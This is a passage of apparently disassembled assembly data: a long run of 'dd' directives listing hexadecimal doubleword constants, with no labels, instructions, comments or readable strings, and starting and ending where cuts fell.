4C9E73B8h, 0FA58D0D0h, 30609085h, 8C62F095h dd 0A8BA4Ch, 0AB1A5531h, 98F768Ah, 61BBE5F3h, 90F88482h dd 60EF016Dh, 0AD48E5EEh, 440F4CFDh, 17E5FC24h, 108A30F8h dd 79007AA6h, 4F3622D3h, 747D1Ah, 46E7CF4h, 0B77B2A9Bh dd 78C0F26h, 58448E6Dh, 79BD9E8Ch, 4E88099h, 3FF17C3h dd 0B09A871Fh, 0BD236640h, 0BB01007Ch, 57041E78h, 0B71B505Fh dd 0BAC38B80h, 0E685152h, 0D3407DB5h, 0E1C0BB7Eh, 7100B0E2h dd 0BD5F059Dh, 79FA0140h, 932890C9h, 0B7310F57h, 8B585AE2h dd 66609F40h, 0D2F4BF13h, 1742A2EAh, 0DD215B61h, 0B8E7FB8Bh dd 0B61DB58Dh, 292D880Fh, 0D516F817h, 0B5092290h, 0F93140FDh dd 6592F6E6h, 0CB952938h, 0C685B846h, 67E8B031h, 4C73149h dd 1020B218h, 0CC402B65h, 6BB5F2FEh, 0B7DF36CAh, 83BC803Ch dd 29638B34h, 2F3984C4h, 1988638Fh, 865CD1C0h, 3E051832h dd 0D85B057h, 0D29D0E82h, 6647FD7h, 0BCC1E49Bh, 0C0CA84F5h dd 1D49AFECh, 0C3DB93D3h, 667D6C80h, 893FB226h, 0BCA0CD46h dd 9AFA0068h, 0B9807469h, 0DD5C9D33h, 3489814Eh, 80420124h dd 8231F20Dh, 0D94E79F7h, 9701818h, 0F16911EBh, 0ABB8A116h dd 0DD8A5012h, 45B29425h, 0EFB6500h, 2933166h, 0EEED0300h dd 8F6F9639h, 8E8B67D2h, 80DE4452h, 29A9BB7Ch, 5A765B15h dd 1E663E4Ah, 31464DEFh, 48EBE985h, 0ABD27A8Dh, 8EC037DAh dd 8C3E12D5h, 1950B609h, 0D8698483h, 0A92AA6F1h, 3FD0AC1Fh dd 9F81E2BBh, 3540F11Bh, 1B230F6h, 0B602340h, 4D8D2956h dd 0B29C12F5h, 4EDFFE6h, 40A81362h, 830761E4h, 85C7FCA0h dd 5DA5E1B1h, 1F00983Dh, 0B44FF08Eh, 0F9851309h, 0F39D900Dh dd 16B8DEB6h, 8AB2C584h, 2786D695h, 250B48B7h, 2DE306D3h dd 903F906Bh, 27266965h, 770072C4h, 4E3299BFh, 383050D6h dd 4439110Ch, 0E8C10187h, 20EAC10h, 3FC4CE0h, 9843584Bh dd 7736EBE7h, 0E648136h, 1B8C857Bh, 0D0282950h, 58331821h dd 57420113h, 31A9481Bh, 270DD8C0h, 296F272h, 47385B2h dd 6180D4BDh, 93E59BD5h, 0D6801460h, 0D80FD201h, 0FC240F9h dd 0D696FEBFh, 5D753969h, 0DA4FA768h, 95A24300h, 3B3EFBB5h dd 60573653h, 3E023A2h, 50BA49FEh, 465F6125h, 75F8ED63h dd 76F3BF2Bh, 992B6D0h, 51FC63F0h, 5BFB3082h, 13C23FC1h dd 8CFED50Fh, 0C72CF925h, 4357406h, 93E0D4E6h, 3300791Ah dd 0FC8A65E0h, 0B6D5BD01h, 0FF96193Ah, 88FA1515h, 0F300D21Bh dd 0AE907DDEh, 158576Fh, 269BC0B5h, 705B149Dh, 3FB39693h dd 298AE78h, 5A745B2Dh, 0E0B14Bh, 0FD820CC5h, 0B0022E4h dd 0FDEF9D43h, 0AC9252C9h, 0C6F950C5h, 44418A4Dh, 195F65CDh dd 0BC446DA7h, 345D002Eh, 0DF81B0FDh, 0E44CDC3Eh, 0DD8517A1h dd 0EA9BB853h, 8E0FA282h, 0BF00CCE4h, 6B8BF034h, 0D7C48689h dd 84E5DB17h, 38F72A71h, 41B0CC46h, 0BC05EFD6h, 0FDFF5323h dd 96ACBF0h, 4C28302h, 60434D55h, 4FAF4E5Dh, 16577D0Fh dd 408374FFh, 0D72E8022h, 5009F5FDh, 39ED5720h, 0D8293E60h dd 999300F6h, 6A3016AEh, 0C92CBD89h, 5541A92Dh, 55DAECD0h dd 0F85B20D3h, 66F2D3h, 8834426Dh, 4AEF809Ah, 80BA7695h dd 0B6E394BEh, 0EE00931Dh, 0D87105C7h, 0E819E7AEh, 6D9F2846h dd 9B844F4h, 428294D6h, 0DE345C6Ah, 132F83Ah, 0BD2BB285h dd 722E1649h, 0CD61FCBDh, 0F7855569h, 1F6A4F60h, 0BBC9700h dd 0D098DBFAh, 5B4C967Ah, 42574905h, 0B8015D3Dh, 0E922028Ch dd 69C868BEh, 1D102B5Ch, 0EC9CBB03h, 0F4BC6F18h, 3E0029A9h dd 83C3CA59h, 0B6EEDh, 0F47F6B9Ch, 34891F19h, 3231F2C4h dd 0F17233Eh, 0BD2BD2F6h, 0DC14482h, 39918A05h, 11E22AB1h dd 26DD3343h, 86366BFAh, 0C8504A20h, 5300905Fh, 20660FDAh dd 0DBE6824h, 8E3E84D9h, 0FAEDE6B0h, 43B5EDE0h, 125BE267h dd 0F6AA7786h, 1D8508C0h, 2F614219h, 3BD1BB21h, 0CD2C1649h dd 1DD8D680h, 9A979E55h, 0E95B57DAh, 3F106058h, 0D3874938h dd 6BF728D4h, 0B8517898h, 99FC209h, 4407D17Ah, 0B5894238h dd 970550C5h, 0D157F53Ah, 35EAF803h, 3E20809h, 1F6780Dh dd 0DB81D88Bh, 0FE6D79F2h, 8B71CA5Eh, 9D370108h, 9562856Dh dd 0F0765039h, 0FFF2380Eh, 1976EDBh, 4588E52Eh, 237C1764h dd 0DBC18B12h, 0D53780CCh, 97E29311h, 0A4CC59Ah, 2245B2A0h dd 33C9081h, 0BC55CB81h, 3942E8C1h, 0B9AE3201h, 8CF70187h dd 4CA14E0h, 0E87A7E30h, 0BD9C400Ah, 22349CFh, 0B501554Eh dd 10605B4Fh, 1609BF60h, 5D318252h, 0FFE4FE0h, 0C70A93EFh dd 55900CC2h, 2C580AD3h, 8A8E1AE3h, 482040DEh, 6D3ED502h dd 0FA7B78FAh, 5F0BF00Bh, 516522B3h, 0E8A815Bh, 0ED2AEDA8h dd 5B79B842h, 0F1A61278h, 0B8BD7902h, 5F35001Bh, 19C4E16Dh dd 7E48474Fh, 26495E77h, 0A0D50090h, 0FBF50A2h, 69455A46h dd 0E0C9F672h, 68E289F5h, 0A59AB8BAh, 743B1740h, 3F090ED4h dd 29FBCAA9h, 886E0A54h, 6D60C116h, 24753ACCh, 0C3BECFFFh dd 906961DAh, 25CFCD5Eh, 11C0FF59h, 5E82245Dh, 1464511Dh dd 0C43121B0h, 81FC02C5h, 0C9CA8A49h, 8C70F6E2h, 144400A7h dd 0E9606660h, 0A0803196h, 0BD2C8806h, 5CB302DFh, 61D179E8h dd 0B52DBCC5h, 3A6A0708h, 0E80EC4E9h, 0A818B118h, 36AC2A09h dd 2B0203FCh, 0B305394Fh, 706D5B38h, 1B0973D3h, 0D1F86265h dd 0B70F8706h, 8B6063DFh, 85C161A2h, 0ADB51014h, 0F1FAE8h dd 20A56E9Fh, 26BD7DEDh, 3C020DF0h, 0BAA0FAEEh, 61F35790h dd 7F0FBF58h, 0B3980375h, 1BD07FA7h, 0E8FEAAD0h, 0A85284Eh dd 88BBCFFFh, 0CEA5C016h, 895C5736h, 4E032006h, 0BB2A985Fh dd 87345809h, 0A505D11Ch dd 808B3575h, 58FF08A8h, 311D684Dh, 0D5E56ADDh, 61801CB5h dd 0EF74EEAEh, 54160AAAh, 2C59890Fh, 10E90907h, 98D35D5Bh dd 4C8AF105h, 92563F4h, 695E9462h, 415237C4h, 3D9D2B43h dd 6C5E3A30h, 2ED48ED7h, 1C11DECh, 3A3111BDh, 0E4D87820h dd 810F2E71h, 9D594989h, 49E75E02h, 80A9D90Bh, 0FB617C9Dh dd 2098DDCAh, 4E023D20h, 0EA90925Bh, 93095F12h, 51008A79h dd 0A282BF66h, 8E189D5Bh, 3243BD9Dh, 0AA6BB412h, 1A17DA90h dd 0E8F200F5h, 5EC5C0BFh, 0DF13AC49h, 8FA47828h, 12C72780h dd 6A578841h, 2B5F8C02h, 99C760C8h, 535FD204h, 0E9C1A57Ah dd 57658902h, 4087D05Fh, 7A98090Bh, 0DA4E27D9h, 0BF86033Ah dd 3A34EC6h, 2756105Ch, 348249D8h, 75D96012h, 271DE200h dd 54B788h, 7D49A113h, 848AA61h, 0C07E1F4Ch, 2F5B3E1Bh dd 0BDE50E25h, 0AD615A1Eh, 3A42E961h, 83F87522h, 0A2949ABh dd 1E198DD1h, 0A2DF1353h, 12272290h, 0F4898D29h, 18A1A5CCh dd 49354FEh, 0E828B190h, 990B8B81h, 0BD042F6Ch, 1D9E8482h dd 29858902h, 60509A58h, 31880680h, 0C2C57B95h, 19419D55h dd 856A6103h, 7EE066B6h, 0B52509F5h, 8CC41335h, 0A077A7ABh dd 1757F321h, 57B983Ch, 0C2F5BFAAh, 505DB971h, 18C2F289h dd 0C6181A70h, 359D2A81h, 801D116Fh, 0C9145695h, 104B0B1Bh dd 24A4893Dh, 454C81DFh, 3BB00427h, 2B0D41B1h, 0E508BC25h dd 44D9A807h, 2B25F801h, 79DD64D2h, 0F5940022h, 31FC8C4Ch dd 1E9DCAA9h, 0DD53500Fh, 49548A11h, 88810743h, 1FD647Bh dd 0E8A44FE0h, 2A5B97F1h, 6A408E20h, 0E7300449h, 0BB880D5Fh dd 0E3A075B7h, 0D495AE71h, 0CACE69ACh, 7EC8F695h, 2DAC2E50h dd 0FF5CDDAAh, 0B9E755E9h, 0C7012FE5h, 224B3D8Ah, 4B499220h dd 0C9FFCB12h, 5B60429h, 8975D214h, 5FE33456h, 69E39497h dd 0CD5725BCh, 0F44D670Bh, 3BF5AAF8h, 1C7735E4h, 79E00893h dd 0EA4427ADh, 100B8200h, 72FFA27Dh, 0C5DE00CBh, 43BDC82Ch dd 8912FD2Fh, 8504567Ah, 5B0E1805h, 874F6132h, 2660130Bh dd 812F6D2h, 61121DC9h, 30B56B04h, 4B16F712h, 0A28F929Ah dd 0B711680h, 0D7098099h, 5DE1FFA0h, 0D26734EDh, 0E00DFB10h dd 2213017Fh, 0CDE38166h, 0ED282F48h, 0C8418A2Ah, 0C9282FFAh dd 0D4958635h, 4C127EB3h, 0B4F29FD1h, 6649D48Ch, 8260BB1Ch dd 8F37A7h, 0BC82D4E6h, 60900AC4h, 60898FA2h, 24B0B770h dd 9704B920h, 0E35B9209h, 25D79370h, 29E4F66Ah, 0A2D2F84Bh dd 4BED1A90h, 0C1CFA540h, 0B8AF00A1h, 4237DD80h, 8D588960h dd 0D18A87D8h, 0A5CA5B69h, 927D9FD7h, 9874007Ch, 71C22267h dd 5920C6B8h, 0B61A970Eh, 2EA58982h, 87B15004h, 783E1A3Ah dd 0D9F98187h, 50C43479h, 863EEB9h, 0C06FA8Bh, 585A6160h dd 9DA6F504h, 43E90F50h, 0DE3B4A17h, 0D90E315Fh, 0B87D6958h dd 0F3880053h, 0BA98D58Ch, 0BA956552h, 5089533Ch, 0B03B26C4h dd 1C884E0Ch, 7C780AECh, 8321B2h, 3E89D9EDh, 0DD77C639h dd 5A0F583Ch, 411D97CCh, 62242E17h, 95BC2AEDh, 0A2DC5B00h dd 1B358FE8h, 0F0575CD7h, 3908F510h, 4A9FA45Fh, 86B7A7h dd 9D99303Bh, 0A7B06D7Dh, 8FB20F83h, 0D5A55A74h, 63CC7BA0h dd 350094B8h, 14428D92h, 2CED9185h, 9575BE4h, 0C77B2B25h dd 0C0E2EDA7h, 97DD20B5h, 0ABA71F12h, 1715F704h, 7DE3AEh dd 286D446Fh, 1243A3F6h, 0F7E0F735h, 890125F8h, 8EF57119h dd 12148D0Fh, 0F9DA884Bh, 0FD01E4A1h, 562528D9h, 0C01E58C5h dd 35CBFFF1h, 85F4CE0Fh, 0E05F2510h, 12B2BF80h, 103EB35Ah dd 3417F191h, 0E048B624h, 1F90CF8Eh, 0C0DF98E0h, 7ABB5360h dd 92CB73Eh, 0F70E545Bh, 7B64E961h, 0CB5A589h, 64B36700h dd 27A4B4B5h, 0A341ACBFh, 57680003h, 1A820699h, 0D281F3B7h dd 9D9AA81Eh, 6D098D6Ch, 69617919h, 2D50CC73h, 53E316DFh dd 0FF1702BFh, 1C799067h, 22C8FB00h, 0E2E528Dh, 5B9946EAh dd 0C91B1700h, 240330F0h, 50D4B6F8h, 6C529253h, 905F2D49h dd 134CB9C2h, 0DA8B511Fh, 0A99B6196h, 1078781h, 4E3D2F77h dd 0C8A99B3Dh, 9A98FDC7h, 811EBC0Eh, 327F62DBh, 51755C4Ch dd 5F7B7A27h, 3B4E1100h, 0D6E2CD43h, 9208E948h, 4BAE3CE3h dd 0F58067DBh, 3514B261h, 385E1209h, 0BF0B0497h, 95BDF980h dd 649C9725h, 528A0444h, 0F5C4C4D8h, 0A020B703h, 7F0D88h dd 0F915C926h, 0F5DC6535h, 1FB2049Dh, 6FD6ECA9h, 0ABC709CEh dd 0A6647BA1h, 9200D649h, 0FA59CEDEh, 4B7711F1h, 2BBC8DCFh dd 0DE621C04h, 3C25FBCh, 33E9A9BDh, 4976096h, 0F9F2818Ah dd 54F25077h, 0DD854094h, 2C00BCAAh, 0A173C171h, 59DDAA9h dd 398D29A0h, 308A292Bh, 8B880257h, 129897FBh, 4520BD29h dd 0C3810232h, 3A878CA6h, 0DCE8185Eh, 1215465Ch, 0EF6DB11h dd 3F3019B2h, 76D80AA9h, 8FAF7CDh, 0CA2507FDh, 0F491D40Eh dd 0E02E8800h, 1DB1A956h, 816701F4h, 0C42504CBh, 218F6035h dd 59CB055Bh, 17B85B48h, 0BFDA098Ch, 1015E42h, 2FFCA9F7h dd 80821D1Fh, 5C5F41F3h, 25F920F4h, 0CDCE499Fh, 96359Fh dd 63E172CDh, 810255BFh, 0C9BD71D3h, 6BB65C2Bh, 50C12BEDh dd 3CAEB8BFh, 0D100DC4Ch, 0E5E8D85Bh, 48C04AC2h, 62250A6h dd 9DB5291Dh, 0FB72ECE4h, 50665043h, 0A5B5893Fh, 0A0F4CE0Ch dd 30CE4F77h, 0AAD45389h, 5C5D7A0Ch, 0C26E4A49h, 97C62300h dd 3195C29Eh, 0F568572h, 0EA025465h, 0C28DD94Bh, 125CF3E8h dd 0E2378EB1h, 0A85288A1h, 22952681h, 6ED84D16h, 8677DD70h dd 4889096Bh, 44622621h, 0B82A9860h, 0BB2D8195h, 0FB609424h dd 9AFC9596h, 764C36D6h, 0F3011584h, 4D50CAB4h, 6B2FD88Bh dd 192376h, 0F884B307h, 0F268A16h, 0BF61888Bh, 0DD2B32CAh dd 0A76A2ECAh, 0CDE4C100h, 0D3C6576Dh, 166FBB3Dh, 256E0B19h dd 0C0171423h, 0BCAEC830h, 0DED0EF0h, 5DB592h, 0F7972591h dd 6A042ED2h, 0FD8B5E77h, 0E36C12AAh, 0F6CA4A26h, 5BA02422h dd 0DA2509EEh, 94F6C607h, 0E24240C8h, 0A40038C5h, 6F49F3B3h dd 944C0B8h, 0A2BEE31Ch, 9695EA70h, 78D09BE2h, 0CA0EDBBCh dd 20450B3Dh, 0E9D5CBDFh, 0C1E2953Bh, 0D409C56h, 3844Ch dd 71EF014Fh, 74942902h, 0B40033F8h, 0E05BB98Ah, 0EC11BFFDh dd 17527885h, 0DBC18BF9h, 299480B6h, 8ED1E46h, 1D69B509h dd 64BC8B2Fh, 975100CFh, 0A3260943h, 0E77D40B3h, 0ACD874Bh dd 2B49BA41h, 0ED5033Ch, 38D4C5BCh, 0BD096292h, 0B1DA5711h dd 0EDB86B13h, 0E4F040B6h, 60B07F6h, 24A5C35h, 91CD15Fh dd 0DDDF3800h, 0C0568369h, 71CE030h, 0E8AE75DCh, 8B9003CDh dd 43B350D9h, 545EF5B3h, 8256A709h, 610F1B8h, 32931A5Bh dd 0C5DB5D78h, 0CC8D0F66h, 3597FA5Fh, 801891BDh, 91B49083h dd 978D71AEh, 467C07F6h, 1F22001Ah, 6DA5ED58h, 7C109FFFh dd 5F009B77h, 0F8176773h, 0B63133h, 0EA1618E3h, 0AAA83F9Eh dd 0ECD1FF2Eh, 0BF873760h, 5A70769h, 0FE44A311h, 0CCD8BDC4h dd 1E014729h, 495640BCh, 53DC5494h, 0C15B0348h, 0EF0B0FB5h dd 2EF48EB1h, 91C7FA28h, 1816F9F2h, 0BB6424E9h, 0B38E0224h dd 0F38428DAh, 26A457Dh, 0C5E0D5F6h, 4A121289h, 8804FE30h dd 9009050Dh, 57502721h, 0B8BAD860h, 0F31F5A79h, 0D9E55F61h dd 0D626003Eh, 91082AB6h, 0DD8A9A0Bh, 2555705Bh, 30EE7A35h dd 2D0359Dh, 52941F4Eh dd 1D409F74h, 0F6F673C0h, 7DBF0FFBh, 0B4F2BC47h, 6400A86Ah dd 0F0873248h, 260CDBCEh, 4DB3913h, 0F29D2980h, 0F55B1D88h dd 0E50D257Ch, 0B875885Dh, 43BC6D49h, 0BD8201C6h, 29577D62h dd 41D4D87Bh, 0E1102032h, 51A7184Bh, 44E5C240h, 0C497500Ch dd 0C0A901D3h, 0CBC26C0Fh, 0D8256B0Eh, 0AE002CF2h, 0BCB2D9A4h dd 9D7F6F14h, 2D43DB04h, 0B6BA905Bh, 7D2BB0F2h, 0CACD099Bh dd 6904EAFFh, 0A44FBCE6h, 4DA9CAB9h, 271551A0h, 9EFD0CCh dd 2E0DD9A1h, 98497E8Ah, 48028CACh, 22B6DE4Ah, 4B3C67Bh dd 0F96A1082h, 0D07BBC9Ch, 18D10CEh, 0DB2EFB7Fh, 89EC8170h dd 0BD2F6985h, 3F514FCh, 0A53188F8h, 0EF6B37CCh, 424B8243h dd 1C335E7Ah, 0E6022280h, 0B98D0970h, 9F2A5D24h, 0A3AF60C0h dd 203E5E8Ah, 2520C8ACh, 0F51CEE05h, 0BADEF417h, 0A99DA242h dd 66795F03h, 0E58D3182h, 51C1221Dh, 21F98C83h, 986514Bh dd 0C185693Ch, 2B030C70h, 319589C8h, 0D13D090Dh, 9D84BF0Fh dd 9D0B427Fh, 257F44B5h, 9CE40885h, 7075FD69h, 0F560C405h dd 8B30BA1Eh, 8C0331BDh, 4F251D45h, 133824E9h, 122BBE45h dd 0A657FCEFh, 2C1D314Ah, 82FF8D87h, 0AFBB6603h, 44F35CD7h dd 0E3814023h, 415C6F68h, 92190437h, 0FE2CB198h, 0F8E5AC08h dd 0EF309713h, 30B937A9h, 0AC181DF1h, 0E0D86300h, 0E6E88350h dd 0CFA150A9h, 93849521h, 0BC65AD6Ah, 7EA6288Ch, 0B94170BBh dd 2FDD09B9h, 5E690779h, 9900D43Ch, 6649DD0Ah, 25BAB2BFh dd 960A9AB9h, 164BDEB3h, 0A6EB14C4h, 0C5C1B15Dh, 3D345FD5h dd 0FC8D04B5h, 910D9D33h, 89C02B69h, 0D1F228AAh, 0D9880095h dd 0D7FB2C9Eh, 6873E277h, 0A00FA326h, 74D22B09h, 1C46FE11h dd 1CA9640h, 0C2BBF0DAh, 2AFCB550h, 3269C504h, 2EB212h dd 0B257DA5h, 7D8094Dh, 3CDF60D6h, 0D3185040h, 8D482F53h dd 59897098h, 0FF4D027Bh, 3875880Dh, 39EC0561h, 1A807D42h dd 0A80F3CBCh, 234F56DAh, 1604C235h, 0FDB91DC9h, 451248D4h dd 0F5DBE226h, 0F195BB04h, 42A2CEB8h, 0D058FB5Dh, 0A60521C8h dd 0B095CFB9h, 0C84A68ECh, 7E09BFA7h, 717C90C4h, 1ABB8095h dd 0FF61A58Ch, 0B529E105h, 0B7B70B49h, 4A69F62h, 120AD10Bh dd 2B00D914h, 8AA75E28h, 0AC9AE82h, 14510F6h, 86C4EAB2h dd 747BAF58h, 79D29800h, 6067C5BBh, 2DC77BEh, 0B4E3F2FEh dd 635CF87Ah, 0E278C823h, 0C8C20083h, 29769463h, 104BA58Dh dd 8A768599h, 49E44DA0h, 0A5852912h, 442BBEA1h, 0EB013484h dd 0EBF46EF6h, 1C555BA1h, 0F348B2F3h, 54C5AD25h, 52C9E82Fh dd 0EB10BF60h, 0E6000869h, 9E7C0449h, 25EB4399h, 3A715FFAh dd 40240442h, 0BD1DAD39h, 1B91BC1Fh, 5E0B4080h, 0E217F277h dd 14334D55h, 3087D01Ah, 969002F5h, 32D59D03h, 99685F00h dd 2E1217DEh, 0F4953060h, 0BB042858h, 615B51DAh, 6609ACA8h dd 0FFD00DDDh, 4A0C6559h, 6A7A6CDDh, 0C7700064h, 0C680FB67h dd 84924B26h, 3A05F1EFh, 6A26516Fh, 0BCE700F2h, 23EE923h dd 97F456BCh, 89E020F4h, 9729F5BDh, 8EBB2838h, 645EB412h dd 8000F6B3h, 0B50103E7h, 0BA951E6Dh, 0A7F354F9h, 73D0DF5Bh dd 3F90BDD1h, 7D0219F2h, 0F0BF5831h, 51FFD696h, 8F81E689h dd 26D8BCCBh, 0C07A4C72h, 9D451378h, 0B5400071h, 0F6F9B438h dd 0BE4BFDC2h, 8DB62685h, 0A89047E0h, 1F8F517h, 448AF4F0h dd 58585702h, 7B6EC06Eh, 5301CBh, 47C031F5h, 0FC93AB49h dd 776FCE04h, 0BE826ECDh, 50A540CFh, 0D70ECB60h, 7698E47Ah dd 529B964Eh, 43EB4A80h, 99030A3Dh, 2EBFFB97h, 71E9A766h dd 0E47B2766h, 59B6B78h, 0A70DA023h, 1DB369h, 0A418932h dd 94CD95h, 5E0FC248h, 0BBFF2193h, 0A0A74597h, 2E6C031Eh dd 21CA87DCh, 936933D0h, 1F3BBA01h, 60BE18FBh, 56093C36h dd 4689615Eh, 0A4E8C5E4h, 6346E400h, 0E53D147Ah, 94D74E05h dd 218FBD93h, 0E3BB00DAh, 5816F5D3h, 6880F11h, 59BD0B09h dd 3A8DD741h, 1823326Ah, 5B0390Dh, 4A36056Fh, 8BAAE4D6h dd 64D2F86Bh, 128D01BEh, 0FC4420C6h, 36EAB189h, 5232DE8Bh dd 4646A97h, 418FB456h, 0B69C20BFh, 2E3948D0h, 348830A0h dd 4CDEB5Ch, 7A06A29Ah, 0C8B180D9h, 3317F04Bh, 6BDB615Fh dd 98911680h, 9C5834B6h, 2571109Fh, 4DEBCF4Ah, 44BACF5h dd 0CCA841B7h, 5C3CAEF9h, 47A29610h, 2C3308C5h, 56B4ACDEh dd 0F3954AB7h, 9D08AF0Ch, 3F792909h, 0B92FBE75h, 2937ACE9h dd 66A16633h, 81EC5714h, 0D962499Ch, 2A82092Dh, 595422D1h dd 6753F358h, 0F4F12E6Ah, 0FB65AEE9h, 8421E330h, 3B837246h dd 3E89F040h, 27704801h, 49F6ACBCh, 0B64AB894h, 301AB2FCh dd 1002C7D3h, 0D2A96979h, 38A454F9h, 66F15044h, 0C2E0F7D2h dd 9DD2FA3h, 693759Ch, 12546059h, 0E3F832A9h, 12013BD8h dd 0EAB90E3Dh, 0B8C6C4D2h, 0BBCD4A23h, 97061A70h, 5939A16h dd 0B688558h, 0EDA83839h, 5E149418h, 698B8A00h, 0BF8F72FBh dd 0D03D1FA1h, 90A50049h, 0EB8141E6h, 276FBBA0h, 0A99D5B4Bh dd 77316A7Ah, 0BB28F800h, 1582599Bh, 84FB4B8Bh, 31DDACAAh dd 2050F316h, 1EF16A76h, 654C93A6h, 0CAAD71C4h, 0F88C1AACh dd 9CA40543h, 0AC5CFA72h, 0F346C3DFh, 0B1D198F2h, 1FAB25D5h dd 2B6D4C6h, 0A48A16DCh, 609CB085h, 0C5201090h, 0B50B080Dh dd 61120E31h, 0DBD5352h, 4C05C8ECh, 4920E171h, 2848B9E3h dd 5060F44Ah, 5C875CB1h, 0B370F533h, 73716Eh, 5DBD4A51h dd 20953F81h, 0FFBB7D12h, 5F631F04h, 3C4CC8B8h, 0D10F6D13h dd 2F071D00h, 0B829122Dh, 0A31297A8h, 210296F2h, 4A019531h dd 91BA551Eh, 0E050825Bh, 3172027Dh, 8D892EC7h, 65A5C9D6h dd 413D11F0h, 6E4B7F99h, 36D996h, 2914F6F3h, 0C705CDC6h dd 62A347BAh, 486537C9h, 168A274Ch, 2D8BE59h, 26FEE638h dd 0C1CE53E2h, 6C08575Ch, 9BF9FA0Ah, 18167156h, 287F256Fh dd 0D9DCEC6h, 42AE9D2h, 0ED4B4C43h, 0EA2964Dh, 37CF8103h dd 29C8868Ah, 45AA19Dh, 0F95D8CF7h, 0F30696B8h, 0F4B658C2h dd 7A92594h, 5C13B3C7h, 5CB019F7h, 0ED09CB37h, 5C46A186h dd 29B5E9C5h, 8D114780h, 1645DFBFh, 837ACE1h, 1A70355h dd 0FCC78010h, 0F9EA092Eh, 0B5E9EB71h, 0BD69823Dh, 0E35CB6E9h dd 0EDC18B09h, 2971C0BEh, 0E9E491F9h, 9D23FB04h, 0F0E0685h dd 0C45EA8B6h, 0B7120DC1h, 32CD10BEh, 9C749024h, 0B7614760h dd 670039D1h, 9D4BB3BFh, 4E905340h, 0B36F6Ah, 9D40C94Bh dd 0B98BA1Eh, 0DA8BB599h, 1714E854h, 0A50592E4h, 560327F1h dd 0F2EDC7C2h, 77A2D7F5h, 0FCADC9BDh, 0EAD52AB3h, 0C659BC99h dd 0C30504A7h, 291000E8h, 3A6A9359h, 9D095E0Bh, 0DC00A96Dh dd 0B74D2578h, 0FC7B39C0h, 0B2D40A96h, 0C2BF800Fh, 71840541h dd 0D3B2B9FCh, 0CB828FDAh, 86820B02h, 5B092D31h, 35EDA5B6h dd 0C0304947h, 0B433527h, 0EEFA94E7h, 15F10C02h, 5FD1FF02h dd 0EB00C637h, 0CD89967Bh, 1B5A90C0h, 0AE66518Eh, 0D9A05BCBh dd 474B1B8Fh, 7223AC8Ah, 0C0219FF3h, 1C45830Fh, 4A6A5CF0h dd 4341A102h, 0FDC7181h, 0EDA4FE50h, 0A8C2BB40h, 1E6649DEh dd 86BF9B5Fh, 2764C4CCh, 91CE29F5h, 34E58976h, 347AB3E6h dd 0C50CBB25h, 0C7CC8857h, 1C467Ch, 0B190A6D6h, 674A05C6h dd 11CB2869h, 5A1C95F3h, 1633C46Ch, 0F8125E0h, 9BB2B4EBh dd 476E352h, 6259D31h dd 887AC250h, 0FC1252BFh, 0E05674F5h, 42AA88h, 0C5F9057Fh dd 0EB4B44CDh, 0D5D4E22Ah, 0C6F5E29Dh, 884E0073h, 58072864h dd 0AC00E6C5h, 0F06F71B2h, 992F366h, 5FDF8B6Bh, 6C5B5BA9h dd 34D38100h, 9773B909h, 0D4254733h, 0AD9973DAh, 6C41794Dh dd 0D26BB34Bh, 0F9A955B6h, 0A770D45Bh, 0CD3F0069h, 338DDDA6h dd 3097FB34h, 80010233h, 6125BD23h, 2067712Ah, 70E63AD1h dd 7C668AADh, 0E4C6D400h, 9DB8171h, 9752E2FDh, 1C31282Fh dd 10529D33h, 98244B8h, 956AFD8Dh, 4F0438C0h, 0C46C6A25h dd 0DE8A2C32h, 8A6D3967h, 2C162B3Dh, 3FC35102h, 372B5CE2h dd 0FB4C617Ah, 38932B02h, 292084B9h, 19441195h, 0BD098891h dd 86CD55FBh, 0B496F901h, 710FA109h, 0D302434h, 3E0E7509h dd 964FCCCh, 0BC268830h, 1E4E3672h, 4C0043E7h, 580AD29Bh dd 7E00FEEEh, 0DB73738h, 0E4C25F64h, 0C9494FE9h, 2ECEE59Ah dd 33AC3734h, 27DCE34Eh, 5E2075F9h, 0A9862546h, 0FB810100h dd 0A67B5B2Ah, 723301A3h, 476893D7h, 46702E61h, 8413D19Dh dd 72607B82h, 5B4BDEB7h, 42434698h, 0B0EE5648h, 30802B64h dd 814030D3h, 1C161BCFh, 38040DE4h, 1DB8228Dh, 0A814EDB4h dd 6C900BCBh, 3306D44Dh, 0B9134DE1h, 3FA70F9Fh, 89B513A0h dd 0BAA6A274h, 37B43Eh, 9A4CBBBAh, 55846CBh, 1EFA243Ah dd 0C9D90279h, 0F854E8A8h, 3A52E180h, 1DE8DF6h, 8B608FD7h dd 6A332595h, 96082897h, 7AEE861h, 5EF380FCh, 0DCA5DC49h dd 644BB025h, 0B5891762h, 2B8A42A9h, 415CF9D2h, 50295BDAh dd 25053CB2h, 50DA9BD4h, 0B34A4CECh, 0BC344D45h, 0E45A04FFh dd 82BF28ACh, 0CB426FC9h, 95C7F077h, 1B644A6Dh, 0BABB4860h dd 58DD9304h, 4EB8DE9Bh, 4971F5C9h, 902B5158h, 5B124061h dd 574D1497h, 6EE08179h, 5026BB2h, 81AFE01Dh, 2B106099h dd 0B5EEA609h, 0AB0CC184h, 0DA2EE62Dh, 1FB184D0h, 0EAF2EFh dd 84370F11h, 944D8D31h, 305F13F9h, 14CF327Fh, 0FF95F009h dd 0A92682E1h, 71845C07h, 5B8DA7C4h, 870A7060h, 4145582Dh dd 8E6B08C4h, 3AD13C3h, 0C1D19BEAh, 7C3DD53Bh, 253A28FCh dd 0B4C57D14h, 3D25461Dh, 6AAB0521h, 3404EE02h, 8C443269h dd 0E087F6D9h, 2AD77CFh, 0B7E9BF22h, 925C2133h, 4DE7624h dd 6F8603EDh, 358EB9FFh, 20AA21ECh, 56EB8FFAh, 65509200h dd 60886AC9h, 4C990051h, 0FEE8AB70h, 0F92534B0h, 0AFFD5B5Bh dd 0D840D04Dh, 73F18C4Fh, 0D4F50013h, 0B1E3812Bh, 0F4BB447h dd 48D9AA9Ch, 19129090h, 31058723h, 2D5B5F53h, 6D902FDDh dd 70B4C38Eh, 0E1843A5Bh, 2FA129EBh, 2FE0C2h, 0B66CD468h dd 9513027h, 12E15B7Eh, 2B8DE05Fh, 30A96F09h, 0B23651F9h dd 675CFBC8h, 0FDCDDD69h, 7EBA2C60h, 6200BFDCh, 9BE98636h dd 957AC082h, 9C224B31h, 0B14BB746h, 961B438Dh, 0F9499BC2h dd 8960585Ch, 8324D59Dh, 2D5D8DB0h, 64642EEDh, 7EEC298Ch dd 0AD69046Fh, 0BD319D09h, 100632A6h, 0AD025075h, 6019C42Eh dd 0FA1CADh, 0BB174CA6h, 5AC592C8h, 